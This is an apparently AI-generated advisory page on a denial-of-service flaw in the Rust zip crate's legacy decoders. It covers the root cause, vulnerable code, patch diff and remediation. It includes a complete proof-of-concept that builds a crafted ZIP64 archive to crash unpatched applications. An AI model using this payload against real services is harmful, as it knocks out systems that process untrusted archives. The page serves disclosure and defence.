CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-115907

CVE-2026-115907: Denial of Service via Excessive Memory Pre-allocation in Rust zip Crate Legacy Decoders

Alon Barad
Alon Barad
Software Engineer

Oct 29, 2026·12 min read·2 visits

Executive Summary (TL;DR)

Applications using the Rust zip crate (>= 5.1.0, < 9.0.0) with the legacy-zip feature enabled are vulnerable to a denial-of-service condition. Passing an attacker-controlled ZIP64 uncompressed size directly to Vec::reserve() in legacy Shrink, Reduce, and Implode decoders triggers a capacity overflow panic. Upgrading to version 9.0.0 resolves the issue by clamping speculative pre-allocations to 1 MiB.

CVE-2026-115907 is an uncontrolled resource consumption vulnerability in the Rust zip crate (versions 5.1.0 through 8.6.0, and 9.0.0 pre-releases) when compiled with the optional legacy-zip feature flag. The vulnerability resides in the legacy decompression decoders—Shrink, Reduce, and Implode—which directly pass an archive-declared 64-bit uncompressed size from a ZIP64 extended information extra field to Vec::reserve() before validating the compressed data stream. By supplying a malformed ZIP archive with a declared uncompressed size exceeding isize::MAX (such as u64::MAX), an unauthenticated attacker can trigger an unhandled capacity overflow panic in the Rust standard library allocator, terminating the calling thread or aborting the entire process.

Vulnerability Overview

The zip crate (zip-rs/zip2) is a widely deployed Rust library designed for parsing, reading, and writing ZIP archives. In addition to standard modern compression algorithms such as Deflate, Bzip2, and Zstandard, the library provides optional support for historical PKWARE compression methods via the legacy-zip Cargo feature flag. When enabled, the library exposes decoders for Compression Method 1 (Shrink), Compression Methods 2 through 5 (Reduce), and Compression Method 6 (Implode).

In versions starting from 5.1.0 and prior to 9.0.0, these legacy decoders contain an unbounded memory pre-allocation flaw classified under CWE-789 (Memory Allocation with Excessive Size Value) and CWE-400 (Uncontrolled Resource Consumption). When an application invokes extraction or stream reading methods—such as ZipArchive::extract() or Read::read_to_end()—on a ZIP entry utilizing one of the legacy compression algorithms, the decoder reads the declared uncompressed file size from the archive headers and passes it directly to Vec::reserve().

Because the ZIP format supports 64-bit file sizes via the ZIP64 extended information extra field (0x0001), an archive header can declare an uncompressed size of up to 0xFFFFFFFFFFFFFFFF (u64::MAX), regardless of the actual size of the compressed payload. The legacy decoders trust this metadata value prior to processing or validating the underlying compressed bitstream.

When the declared size exceeds isize::MAX (or exceeds available system memory), the Rust standard library's Vec::reserve() implementation fails immediately rather than returning a recoverable io::Error or ZipError. Specifically, values exceeding isize::MAX trigger an unconditional capacity overflow panic inside alloc::raw_vec. In backend services, file ingestion pipelines, or microservices that process untrusted archives, this unhandled panic leads to thread termination or complete process abort, resulting in an application-level denial of service.

Root Cause Analysis

The root cause of CVE-2026-115907 is the reliance on untrusted archive metadata to perform upfront buffer capacity reservations without clamping or sanity checking. In a standard ZIP archive, each file entry is described by a Local File Header and a Central Directory Header. While standard ZIP headers restrict uncompressed and compressed file sizes to 32-bit unsigned integers (u32), the ZIP64 extension overrides these fields by setting the 32-bit values to the sentinel 0xFFFFFFFF and appending an extra field (Header ID 0x0001) containing 64-bit unsigned integer (u64) size fields.

When ZipArchive initializes a file reader for an entry compressed with Shrink, Reduce, or Implode, it extracts the uncompressed_size (u64) from the parsed metadata and passes it to ShrinkDecoder, ReduceDecoder, or ImplodeDecoder. On 64-bit architectures, casting this u64 value to usize preserves the full 64-bit value. Prior to decoding the compressed bitstream, the decoders attempt to avoid incremental buffer reallocations by reserving the full uncompressed_size on the output Vec<u8>.

In the Rust standard library (alloc::raw_vec::RawVec), memory allocations are constrained by architectural and safety invariants. Specifically, the maximum capacity of any allocation cannot exceed isize::MAX bytes (0x7FFFFFFFFFFFFFFF on 64-bit targets) because pointer arithmetic and LLVM's getelementptr (GEP) inbounds semantics rely on signed offsets. When Vec::reserve(additional) calculates the new capacity, it verifies that the total capacity does not overflow isize::MAX. If additional exceeds isize::MAX, RawVec immediately invokes capacity_overflow(), which executes panic!("capacity overflow").

Furthermore, even if an attacker specifies a size slightly below isize::MAX (for example, several terabytes) to bypass the capacity_overflow check, Vec::reserve() will pass the request to the global allocator. When the operating system refuses the allocation due to physical memory limits, the Rust runtime invokes alloc::alloc::handle_alloc_error, which aborts the process outright. Because the decoders perform this reservation in up to two consecutive places—first on self.stream inside the Read trait implementation, and second on the destination buffer dst inside the internal helper functions (hwunshrink, hwexpand, hwexplode)—any invocation of the public read API on a crafted legacy entry guarantees a crash.

Code Analysis

The vulnerability spans three source files under src/legacy/: shrink.rs, reduce.rs, and implode.rs. In each module, the decoder reads the entire compressed payload into a temporary buffer and then attempts to pre-allocate the output stream buffer based on the untrusted uncompressed_size field before starting the decompression loop.

In src/legacy/shrink.rs and src/legacy/implode.rs, the unbounded reservation occurs twice per decompression operation: once on self.stream in the Read::read implementation, and again on dst inside hwunshrink and hwexplode (which receive &mut self.stream as dst). In src/legacy/reduce.rs, the reservation occurs inside hwexpand.

// Vulnerable code path in src/legacy/shrink.rs (prior to 9.0.0)
fn hwunshrink(src: &[u8], uncompressed_size: usize, dst: &mut Vec<u8>) -> io::Result<()> {
    // Flaw 1: Unbounded reservation using archive-supplied size
    dst.reserve(uncompressed_size);
    let mut codetab = Codetab::create_new();
    let mut queue = CodeQueue::new();
    let mut is = BitReader::endian(src, LittleEndian);
    // ... decompression loop ...
}
 
impl<R: Read> Read for ShrinkDecoder<R> {
    fn read(&mut self, buf: &mut [u8]) -> io::Result<usize> {
        if !self.stream_read {
            self.stream_read = true;
            let mut compressed_bytes = Vec::new();
            self.compressed_reader.read_to_end(&mut compressed_bytes)?;
            // Flaw 2: Unbounded reservation prior to calling hwunshrink
            self.stream.reserve(self.uncompressed_size as usize);
            hwunshrink(
                &compressed_bytes,
                self.uncompressed_size as usize,
                &mut self.stream,
            )?;
        }
        // ...
    }
}

In commit 8b4991288b79ad11cce201c2d785d5baa795bd3e (Pull Request #991), the maintainers resolved the issue by introducing a constant upper bound MAX_PREALLOC set to 1 << 20 (1 MiB) in src/legacy/mod.rs and clamping all speculative Vec::reserve() calls across all three legacy decoders to this maximum.

--- a/src/legacy/mod.rs
+++ b/src/legacy/mod.rs
@@ -1,4 +1,12 @@
 mod huffman;
+
+/// Upper bound on the speculative pre-allocation made from an entry's declared
+/// uncompressed size. That size comes from the archive, so it is not a fact:
+/// reserving it outright panics with "capacity overflow" past `isize::MAX` and
+/// aborts on allocation failure below it. Entries larger than this still decode
+/// in full; the buffer just grows geometrically past the cap instead of in one step.
+pub(crate) const MAX_PREALLOC: usize = 1 << 20;
+
 pub(crate) mod implode;
 pub(crate) mod reduce;
 pub(crate) mod shrink;
 
--- a/src/legacy/shrink.rs
+++ b/src/legacy/shrink.rs
@@ -231,7 +231,7 @@ fn output_code(
 }
 
 fn hwunshrink(src: &[u8], uncompressed_size: usize, dst: &mut Vec<u8>) -> io::Result<()> {
-    dst.reserve(uncompressed_size);
+    dst.reserve(uncompressed_size.min(crate::legacy::MAX_PREALLOC)); // Clamped to 1 MiB
     let mut codetab = Codetab::create_new();
     let mut queue = CodeQueue::new();
     let mut is = BitReader::endian(src, LittleEndian);
@@ -344,7 +344,8 @@ impl<R: Read> Read for ShrinkDecoder<R> {
             self.stream_read = true;
             let mut compressed_bytes = Vec::new();
             self.compressed_reader.read_to_end(&mut compressed_bytes)?;
-            self.stream.reserve(self.uncompressed_size as usize);
+            self.stream
+                .reserve((self.uncompressed_size as usize).min(crate::legacy::MAX_PREALLOC)); // Clamped to 1 MiB
             hwunshrink(
                 &compressed_bytes,
                 self.uncompressed_size as usize,

The identical .min(crate::legacy::MAX_PREALLOC) clamping logic was applied to hwexplode and ImplodeDecoder::read in src/legacy/implode.rs, as well as hwexpand in src/legacy/reduce.rs.

> [!NOTE] > Fix Completeness Assessment: The fix completely eliminates the capacity overflow panic and upfront out-of-memory (OOM) abort caused by falsified uncompressed size headers in legacy decoders. Because Vec::reserve() is strictly an optimization hint, clamping the initial allocation to 1 MiB does not break legitimate files larger than 1 MiB; as the decompression loop appends decoded bytes, the Vec grows dynamically in proportion to actual decompressed output. Note that while the decode loops themselves still use uncompressed_size as a loop termination condition, the output buffer can only grow as fast as the actual compressed bitstream produces data, shifting any further resource consumption concerns to standard zip-bomb mitigation practices (such as wrapping readers in io::Read::take).

Exploitation

Exploiting CVE-2026-115907 requires no authentication or complex interaction, provided the target application compiles the zip crate with the legacy-zip feature enabled and processes untrusted archives using standard reading or extraction routines (ZipArchive::extract, by_index, by_name, followed by io::copy or read_to_end).

To construct an exploit payload, an attacker builds a minimal 149-byte ZIP archive containing a single file entry. Both the Local File Header (PK\x03\x04) and Central Directory Header (PK\x01\x02) are configured with the following parameters:

  1. Version Needed to Extract: 45 (version 4.5, indicating ZIP64 format support).
  2. Compression Method: 1 (Shrink), 2–5 (Reduce), or 6 (Implode).
  3. Compressed and Uncompressed Size Fields: Both set to the 32-bit sentinel 0xFFFFFFFF.
  4. ZIP64 Extended Information Extra Field (0x0001): A 20-byte block (2-byte tag 0x0001, 2-byte data size 16, 8-byte uncompressed size 0xFFFFFFFFFFFFFFFF, and 8-byte compressed size matching the tiny dummy payload, such as 4 bytes).

The following proof-of-concept generator, adapted from the official regression test suite (tests/legacy_oversized_declared_size.rs), demonstrates how to construct the archive in memory and trigger the panic across any of the affected legacy compression methods:

#![cfg(feature = "legacy-zip")]
 
use std::io::{Cursor, Read};
use zip::ZipArchive;
 
fn build_malicious_zip(method: u16, declared_size: u64, payload: &[u8]) -> Vec<u8> {
    const SENTINEL: u32 = 0xFFFF_FFFF;
    let name = b"a";
    let mut o = Vec::new();
 
    // Local File Header Signature: PK\x03\x04
    o.extend_from_slice(&[0x50, 0x4b, 0x03, 0x04]);
    o.extend_from_slice(&45u16.to_le_bytes()); // Version needed: 4.5 (ZIP64)
    o.extend_from_slice(&0u16.to_le_bytes());  // Flags
    o.extend_from_slice(&method.to_le_bytes()); // Method: 1 (Shrink), 2 (Reduce), 6 (Implode)
    o.extend_from_slice(&0u16.to_le_bytes());  // Mod time
    o.extend_from_slice(&0x21u16.to_le_bytes()); // Mod date
    o.extend_from_slice(&0u32.to_le_bytes());  // CRC32
    o.extend_from_slice(&SENTINEL.to_le_bytes()); // Compressed size sentinel
    o.extend_from_slice(&SENTINEL.to_le_bytes()); // Uncompressed size sentinel
    o.extend_from_slice(&(name.len() as u16).to_le_bytes());
    o.extend_from_slice(&20u16.to_le_bytes()); // Extra field length (20 bytes)
    o.extend_from_slice(name);
 
    // ZIP64 Extended Information Extra Field (Tag 0x0001)
    o.extend_from_slice(&0x0001u16.to_le_bytes());
    o.extend_from_slice(&16u16.to_le_bytes());
    o.extend_from_slice(&declared_size.to_le_bytes()); // 0xFFFFFFFFFFFFFFFF
    o.extend_from_slice(&(payload.len() as u64).to_le_bytes());
    o.extend_from_slice(payload);
 
    // Central Directory Header: PK\x01\x02
    let cd_offset = o.len() as u32;
    o.extend_from_slice(&[0x50, 0x4b, 0x01, 0x02]);
    o.extend_from_slice(&0x031Eu16.to_le_bytes());
    o.extend_from_slice(&45u16.to_le_bytes());
    o.extend_from_slice(&0u16.to_le_bytes());
    o.extend_from_slice(&method.to_le_bytes());
    o.extend_from_slice(&0u16.to_le_bytes());
    o.extend_from_slice(&0x21u16.to_le_bytes());
    o.extend_from_slice(&0u32.to_le_bytes());
    o.extend_from_slice(&SENTINEL.to_le_bytes());
    o.extend_from_slice(&SENTINEL.to_le_bytes());
    o.extend_from_slice(&(name.len() as u16).to_le_bytes());
    o.extend_from_slice(&20u16.to_le_bytes());
    o.extend_from_slice(&0u16.to_le_bytes());
    o.extend_from_slice(&0u16.to_le_bytes());
    o.extend_from_slice(&0u16.to_le_bytes());
    o.extend_from_slice(&(0o644u32 << 16).to_le_bytes());
    o.extend_from_slice(&0u32.to_le_bytes());
    o.extend_from_slice(name);
 
    // Central Directory ZIP64 Extra Field
    o.extend_from_slice(&0x0001u16.to_le_bytes());
    o.extend_from_slice(&16u16.to_le_bytes());
    o.extend_from_slice(&declared_size.to_le_bytes());
    o.extend_from_slice(&(payload.len() as u64).to_le_bytes());
 
    // End of Central Directory Record: PK\x05\x06
    let cd_size = o.len() as u32 - cd_offset;
    o.extend_from_slice(&[0x50, 0x4b, 0x05, 0x06]);
    o.extend_from_slice(&0u16.to_le_bytes());
    o.extend_from_slice(&0u16.to_le_bytes());
    o.extend_from_slice(&1u16.to_le_bytes());
    o.extend_from_slice(&1u16.to_le_bytes());
    o.extend_from_slice(&cd_size.to_le_bytes());
    o.extend_from_slice(&cd_offset.to_le_bytes());
    o.extend_from_slice(&0u16.to_le_bytes());
    o
}
 
fn main() {
    // Triggers 'thread panicked at capacity overflow' on zip >= 5.1.0, < 9.0.0
    let archive_bytes = build_malicious_zip(1, u64::MAX, b"\x00\x01\x02\x03");
    let mut archive = ZipArchive::new(Cursor::new(archive_bytes)).unwrap();
    let mut file = archive.by_index(0).unwrap();
    let mut out = Vec::new();
    let _ = file.read_to_end(&mut out);
}

When executed against an unpatched version of the zip crate, ZipArchive::new and archive.by_index(0) succeed without error because the headers are syntactically valid. The panic occurs immediately upon calling file.read_to_end(&mut out) (or archive.extract()), before a single byte of the 4-byte payload is decompressed.

Impact Assessment

The primary security impact of CVE-2026-115907 is a high-severity Denial of Service (DoS), reflected by its CVSS v3.1 score of 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H). Because the vulnerability is triggered via memory safety checks in the Rust standard library (capacity_overflow panic or allocation failure abort), it does not permit out-of-bounds memory reads, buffer overflows, or arbitrary code execution. Consequently, there is no direct impact on confidentiality (C:N) or integrity (I:N).

However, the availability impact (A:H) is substantial for services that ingest ZIP archives over a network (AV:N) without authentication (PR:N) or user interaction (UI:N). Depending on how the target Rust binary is compiled and architected, two failure modes occur:

  • Unwinding Panic (panic = "unwind"): If the attacker sets uncompressed_size above isize::MAX, the executing worker thread panics. In asynchronous runtimes (such as Tokio) or thread-pool servers, if task panics are not explicitly caught or if the panic occurs on a critical thread, the service may drop in-flight connections, poison shared synchronization primitives (Mutex), or terminate entirely.
  • Immediate Process Abort (panic = "abort" or OOM): If the binary is compiled with panic = "abort", or if the attacker chooses a declared size smaller than isize::MAX that still exceeds available physical RAM/swap (triggering handle_alloc_error), the entire operating system process aborts immediately via SIGABRT, terminating all concurrent requests across the server.

The Exploit Prediction Scoring System (EPSS) assigns this vulnerability a score of 0.0035 (0.35%), placing it in the 28.63rd percentile. The probability of widespread opportunistic exploitation is moderated by the fact that legacy-zip is a non-default feature flag in zip versions 5.1.0 through 8.6.0. Applications using default Cargo features only support modern compression methods and are unaffected.

Remediation

To remediate CVE-2026-115907, development teams should upgrade the zip crate dependency to version 9.0.0 or later. Version 9.0.0 incorporates commit 8b4991288b79ad11cce201c2d785d5baa795bd3e, which restricts speculative pre-allocation in the Shrink, Reduce, and Implode decoders to a maximum of 1 MiB (MAX_PREALLOC = 1 << 20).

Update Cargo.toml to require the patched release and refresh the lockfile:

[dependencies]
zip = { version = ">=9.0.0", features = ["legacy-zip"] }

If an immediate major version upgrade to 9.0.0 is blocked by API breaking changes, apply the following workarounds to mitigate the exposure in versions >= 5.1.0, < 9.0.0:

  1. Disable the legacy-zip Feature: Inspect Cargo.toml and the output of cargo tree -e features -i zip to determine why legacy-zip is enabled. Unless the application specifically requires extracting historical DOS-era PKZIP 1.x archives (methods 1 through 6), remove legacy-zip from the feature list.
  2. Pre-validate Archive Entry Metadata: Before calling .read(), .read_to_end(), or ZipArchive::extract(), iterate through the archive entries using by_index_raw() or inspect the ZipFile metadata methods (file.compression() and file.size()). Reject any entry where file.size() exceeds a reasonable application threshold (e.g., 100 MiB) or where file.compression() matches CompressionMethod::Shrink, CompressionMethod::Reduce(_), or CompressionMethod::Implode.
use zip::{ZipArchive, CompressionMethod};
use std::io::{self, Read, Seek};
 
const MAX_ALLOWED_UNCOMPRESSED_SIZE: u64 = 100 * 1024 * 1024; // 100 MiB limit
 
pub fn validate_archive_entries<R: Read + Seek>(archive: &mut ZipArchive<R>) -> io::Result<()> {
    for i in 0..archive.len() {
        let file = archive.by_index_raw(i)?;
        if file.size() > MAX_ALLOWED_UNCOMPRESSED_SIZE {
            return Err(io::Error::new(
                io::ErrorKind::InvalidData,
                "Entry declared uncompressed size exceeds security threshold",
            ));
        }
    }
    Ok(())
}

Official Patches

zip-rsOfficial GitHub Security Advisory GHSA-9hj8-73fh-9963
zip-rsPull Request #991 fixing unbounded pre-allocation in legacy decoders
zip-rsGitHub Release v9.0.0 containing the fix

Fix Analysis (1)

Technical Appendix

CVSS Score
7.5/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Probability
0.35%
Top 71% most exploited

Affected Systems

Rust zip crate (zip-rs/zip2) with the legacy-zip feature enabled

Affected Versions Detail

Product
Affected Versions
Fixed Version
zip (Rust crate)
zip-rs
>= 5.1.0, < 9.0.0 (with legacy-zip feature enabled)9.0.0
AttributeDetail
CVE / Advisory IDCVE-2026-115907 / GHSA-9hj8-73fh-9963
Weakness ClassCWE-789 (Excessive Memory Allocation) / CWE-400 (Resource Consumption)
Attack VectorNetwork (Crafted 149-byte ZIP64 Archive)
CVSS v3.1 Score7.5 HIGH (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
EPSS Score0.35% (28.63rd Percentile)
Primary ImpactDenial of Service via Unhandled Capacity Overflow Panic
Exploit StatusProof-of-Concept Available (Regression Test)
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1499Endpoint Denial of Service
Impact
CWE-789
Memory Allocation with Excessive Size Value

The product allocates memory based on an untrusted, excessive size value without proper validation or bounds checking, leading to resource exhaustion or runtime panics.

Known Exploits & Detection

GitHubOfficial regression test (tests/legacy_oversized_declared_size.rs) included in the fix commit demonstrating a minimal PoC generator for Shrink, Reduce, and Implode methods.

Vulnerability Timeline

Fix committed to zip-rs/zip2 repository via PR #991 (commit 8b4991288b79ad11cce201c2d785d5baa795bd3e).
2026-09-16
CVE-2026-115907 and GHSA-9hj8-73fh-9963 officially published by GitHub CNA and indexed by NVD.
2026-10-26
OSV record updated with exact commit boundaries and affected release tags.
2026-10-28
EPSS score initialized at 0.0035 (28.63rd percentile).
2026-10-29

References & Sources

  • [1]GitHub Security Advisory GHSA-9hj8-73fh-9963
  • [2]GitHub Pull Request #991: fix: don't pre-allocate the declared size in the legacy decoders
  • [3]GitHub Fix Commit 8b4991288b79ad11cce201c2d785d5baa795bd3e
  • [4]GitHub Release v9.0.0
  • [5]CVE.org Record: CVE-2026-115907
  • [6]National Vulnerability Database (NVD): CVE-2026-115907
  • [7]CVEProject cvelistV5 Record for CVE-2026-115907

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•26 minutes ago•CVE-2026-115908
7.4

CVE-2026-115908: Arbitrary File Write via Lexical Symlink Validation Bypass in Rust zip Crate

CVE-2026-115908 (GHSA-hjqx-j4rw-g7xv) is a high-severity path traversal and link-following vulnerability in the Rust zip library (zip-rs/zip2) affecting versions >= 7.2.0 and < 9.0.0. Because ZipArchive::extract and ZipArchive::extract_unwrapped_root_dir validate symbolic link targets solely via lexical prefix comparisons rather than resolving intermediate filesystem links, an attacker who knows or can guess the absolute extraction path can construct multi-hop symlink chains that escape the destination directory, enabling arbitrary file creation and overwrite with the privileges of the extracting process.

Amit Schendel
Amit Schendel
0 views•10 min read
•about 2 hours ago•GHSA-VPP8-G58W-M8MP
7.5

GHSA-vpp8-g58w-m8mp: HTTP/2 Rapid Reset Denial of Service in Twisted Web

Twisted versions up to and including 26.4.0 are vulnerable to an unauthenticated remote denial-of-service attack via the HTTP/2 Rapid Reset technique (a variant of CVE-2023-44487). The HTTP/2 connection handler in twisted.web processes pipelined HEADERS and RST_STREAM frames sequentially within the same TCP segment. Because the request dispatch and synchronous rendering occur upon receiving the StreamEnded event before the subsequent StreamReset event is evaluated, an attacker can force the server to expend CPU cycles rendering responses while immediately evicting stream state to bypass concurrent stream limits.

Alon Barad
Alon Barad
7 views•8 min read
•about 3 hours ago•CVE-2026-118664
8.2

CVE-2026-118664: Quadratic Complexity Denial of Service in decode-uri-component

An inefficient algorithmic complexity vulnerability exists in the npm package decode-uri-component prior to version 0.5.1. When processing malformed URI strings containing invalid percent-escape sequences, the library falls back to a custom decoder that collects distinct percent-encoded runs into a dictionary and executes a full-string regular expression replacement for each entry. Supplying a payload with thousands of distinct percent-encoded sequences alongside a malformed escape triggers quadratic O(K * L) execution time, starving the single-threaded Node.js event loop and resulting in an unauthenticated Denial of Service.

Amit Schendel
Amit Schendel
4 views•9 min read
•about 4 hours ago•CVE-2026-115921
6.2

CVE-2026-115921: Null Pointer Dereference and Integer Conversion in ONNX ScanInferenceFunction

Open Neural Network Exchange (ONNX) versions 1.4.0 prior to 1.22.0 contain a null pointer dereference (CWE-476) and a signed-to-unsigned integer conversion error (CWE-195) in the shape inference functions for the Scan operator. When processing an untrusted ONNX model, the functions ScanInferenceFunction, ScanInferenceFunction_opset8, and ScanInferenceFunction_opset9 fail to validate the presence and value of the required num_scan_inputs attribute. Omitting the attribute results in a direct null pointer dereference that crashes the host process via SIGSEGV, while supplying a negative value triggers an integer wrap-around during type narrowing that leads to an unhandled allocation failure. Notably, models containing a negative num_scan_inputs value bypass standard validation via onnx.checker.check_model().

Amit Schendel
Amit Schendel
4 views•9 min read
•about 5 hours ago•CVE-2026-91403
9.1

CVE-2026-91403: Cryptographic Trust Validation Bypass in Oracle Java SE JSSE via Compromised eMudhra Intermediate CAs

CVE-2026-91403 is a critical cryptographic trust validation flaw (CWE-327) in the Java Secure Socket Extension (JSSE) component of Oracle Java SE, Oracle GraalVM, and OpenJDK builds. Triggered by the compromise of private signing keys for eight intermediate Certificate Authorities operated by eMudhra (emSign), unpatched Java runtime environments implicitly trust fraudulent TLS and code-signing certificates issued by these compromised intermediates. Because Java disables online certificate revocation checking (OCSP/CRL) by default, an unauthenticated network attacker in an Adversary-in-the-Middle (AiTM) position can intercept, decrypt, and modify encrypted TLS communications or bypass code signature verification without triggering security exceptions.

Alon Barad
Alon Barad
7 views•12 min read
•about 5 hours ago•CVE-2026-115922
6.2

CVE-2026-115922: Denial of Service via Unchecked Expansion of Packed Sub-Byte Tensors in ONNX

Open Neural Network Exchange (ONNX) prior to version 1.22.0 contains a memory exhaustion vulnerability (CWE-789) in its Python tensor unpacking helpers and C++ model checker. Specifically, the _unpack_2bit() and _unpack_4bit() functions in onnx.numpy_helper unconditionally resize unpacked NumPy arrays to match attacker-controlled TensorProto.dims metadata without verifying that the underlying raw_data or int32_data buffers contain a corresponding number of packed bits. Furthermore, onnx.checker.check_tensor() previously bypassed length verification for sub-byte data types. Processing an untrusted ONNX model with packed sub-byte tensors (UINT2, INT2, UINT4, INT4, or FLOAT4E2M1) allows an unauthenticated attacker to trigger disproportionate memory allocations from minimal payloads, resulting in an out-of-memory (OOM) crash and denial of service.

Alon Barad
Alon Barad
7 views•10 min read